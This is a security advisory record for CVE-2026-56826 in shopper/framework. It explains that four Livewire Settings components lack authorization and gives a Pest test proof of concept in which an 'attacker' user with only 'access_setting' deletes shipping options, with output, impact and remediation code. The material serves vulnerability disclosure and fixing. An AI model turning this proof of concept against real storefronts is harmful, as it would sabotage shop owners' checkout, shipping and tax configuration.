{"id":"CVE-2026-56826","aliases":["GHSA-f7h9-qv4x-9x57"],"title":"Shopping privilege escalation through missing authorization in Settings components","summary":"Shopping privilege escalation through missing authorization in Settings components","severity":"medium","cvss":5.4,"cwe":["CWE-862"],"vendor":"shopper","product":"shopper/framework","ecosystem":"composer","affected":["shopper/framework >= 2.0.0, < 2.9.2"],"patched":["shopper/framework 2.9.2"],"published":"2026-09-11","updated":"2026-09-11","sourceUpdated":"2026-09-11T21:28:21Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-f7h9-qv4x-9x57","references":[{"url":"https://github.com/shopperlabs/shopper/security/advisories/GHSA-f7h9-qv4x-9x57"},{"url":"https://github.com/advisories/GHSA-f7h9-qv4x-9x57"}],"tags":["ghsa","composer"],"ingestedAt":"2026-09-12T00:03:49.069Z","slug":"CVE-2026-56826","body":"## Overview\n\n## Summary\n\nFour Livewire components in the Settings area expose destructive Filament actions (`delete` / `edit`) that perform **no server-side authorization**. Any authenticated user who can reach the Settings pages — i.e. holding only the coarse `access_setting` permission, **without** being an admin and **without** any `delete_*`/`edit_*` permission — can delete tax zones, tax rates, shipping zones, and carrier (shipping-rate) options by invoking the component action directly over the Livewire endpoint.\n\nThese records sit on the storefront checkout path, so deleting them breaks shipping-rate calculation, removes region-scoped payment methods, and corrupts tax resolution at checkout.\n\nThis is inconsistent with the rest of the admin, where destructive actions are gated by granular permissions (e.g. `Settings/Locations/Index` uses `->authorize('delete_inventories')`, and `Order/Detail` gates mutating actions with `edit_orders`).\n\n## Affected components\n\n| Component | File | Unauthorized action |\n|---|---|---|\n| `Settings\\Zones\\ZoneShippingOptions` | `packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php:47` | `delete` → `CarrierOption::query()->find($arguments['id'])->delete()` (id is client-supplied) |\n| `Settings\\Zones\\Detail` | `packages/admin/src/Livewire/Components/Settings/Zones/Detail.php:46` | `delete` → `DeleteAction` on the bound `Zone` |\n| `Settings\\Taxes\\Detail` | `packages/admin/src/Livewire/Components/Settings/Taxes/Detail.php:42` | `delete` → `DeleteAction` on the bound `TaxZone` |\n| `Settings\\Taxes\\TaxRates` | `packages/admin/src/Livewire/Components/Settings/Taxes/TaxRates.php:97` | `delete` → `DeleteAction` on a `TaxRate` |\n\nEach file contains **zero** `authorize` calls, and the actions declare neither `->authorize()` nor an enforced `->visible()` guard.\n\n## Details\n\nThe Settings pages mount these as child Livewire components. The parent page authorizes `access_setting` (e.g. `Pages/Settings/Taxes.php:29`), but the child components do not re-check authorization, and their destructive actions carry no `->authorize()`. Because each Livewire component handles its own `/livewire/update` requests, the action executes purely on the page-level `access_setting` gate — there is no per-resource permission, and `delete_zones` / `delete_taxes` permissions are never even generated by the seeder (`packages/admin/database/seeders/PermissionsTableSeeder.php`).\n\n`ZoneShippingOptions::deleteAction()` is the clearest case — it deletes by an id taken straight from the client action arguments with no scoping and no permission check:\n\n```php\n// packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php\npublic function deleteAction(): Action\n{\n    return Action::make('delete')\n        ->requiresConfirmation()\n        // ... no ->authorize(), no ->visible()\n        ->action(function (array $arguments): void {\n            CarrierOption::query()->find($arguments['id'])->delete();   // client-controlled id\n            // ...\n        });\n}\n```\n\n## Proof of Concept\n\nConfirmed with the project's own test harness (Pest + Orchestra Testbench, SQLite) — the real Livewire/Filament code path, executed as a non-admin user holding only `access_setting`.\n\n```php\nuse Livewire\\Livewire;\nuse Shopper\\Core\\Models\\{CarrierOption, Zone};\nuse Shopper\\Livewire\\Components\\Settings\\Zones\\ZoneShippingOptions;\nuse Tests\\Core\\Stubs\\User;\n\nuses(Tests\\Admin\\TestCase::class);\n\nit('low-priv access_setting user deletes a CarrierOption with no authorization', function (): void {\n    $attacker = User::factory()->create();\n    $attacker->givePermissionTo('access_setting');          // NOT admin, NO delete_* permission\n    $this->actingAs($attacker, config('shopper.auth.guard'));\n\n    $zone   = Zone::factory()->create();\n    $option = CarrierOption::factory()->create(['zone_id' => $zone->id]);\n\n    Livewire::test(ZoneShippingOptions::class, ['selectedZoneId' => $zone->id])\n        ->callAction('delete', arguments: ['id' => $option->id]);\n\n    expect(CarrierOption::query()->find($option->id))->toBeNull();   // deleted -> vulnerable\n});\n```\n\nResult:\n\n```\nAttacker: isAdmin()=false, can('access_setting')=true, can('delete_zones')=false, can('edit_zones')=false\n[BEFORE] CarrierOption count = 1  (target #1 'DHL Express' exists = YES)\n[ATTACK] callAction('delete', id=1) on ZoneShippingOptions\n[AFTER ] CarrierOption count = 0  (target #1 exists = NO -> deleted)\n\nPASS  3 passed (11 assertions)\n  ✓ CONTROL — Order/Detail::markPaid is correctly hidden without edit_orders (harness enforces declared authz)\n  ✓ a CarrierOption is deleted by the low-priv user\n  ✓ a shipping Zone is deleted by the low-priv user\n```\n\nThe CONTROL case rules out a false positive: the same harness correctly denies `Order/Detail::markPaid` for a user lacking `edit_orders`, proving authorization is enforced when a component declares it — these four components simply declare none.\n\n## Impact\n\nA low-privileged staff member (or a compromised low-privileged account) can sabotage the storefront's checkout/revenue path without any delete permission:\n\n- **Delete a `CarrierOption`** → that shipping rate disappears from checkout for the zone.\n- **Delete a `Zone`** → removes the country → carrier/payment-method/currency mapping; customers shipping to those countries lose all shipping and payment options (`CarrierRateService::getRatesForZone` / `getManualRates` read these directly).\n- **Delete a `TaxZone` / `TaxRate`** → `TaxCalculator::resolveZone()` can no longer resolve the zone, corrupting tax calculation at checkout.\n\nNet effect: integrity and availability damage to live commerce configuration, performed by a principal who was never granted that authority (least-privilege violation).\n\n## Secondary issue found while reproducing\n\n`Zones\\Detail::deleteAction()->after()` calls `$this->reset('zone')`, but `zone` is a `#[Computed]` method (not a property), so it throws `ReflectionException` **after** the row is deleted. Worth fixing alongside the authorization gap.\n\n## Suggested remediation\n\nAdd an authorization check to each action, and ideally a `mount()` guard on each child component, matching the pattern already used in `Settings/Locations/Index.php` and `Team/RolePermission.php`:\n\n```php\npublic function deleteAction(): Action\n{\n    return Action::make('delete')\n        ->authorize('access_setting')   // or a new granular delete_zones / delete_taxes permission\n        ->requiresConfirmation()\n        // ...\n}\n```\n\nApply to the `delete` (and `edit`) actions in all four components. Consider also generating granular `*_zones` / `*_taxes` permissions so settings access can follow least privilege, and fix the `$this->reset('zone')` call in `Zones\\Detail`.\n\n## Affected packages\n\n- `shopper/framework >= 2.0.0, < 2.9.2`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `shopper/framework 2.9.2`","depth":"sunlit","depthScore":30,"depthScoreParts":{"impact":29.7,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}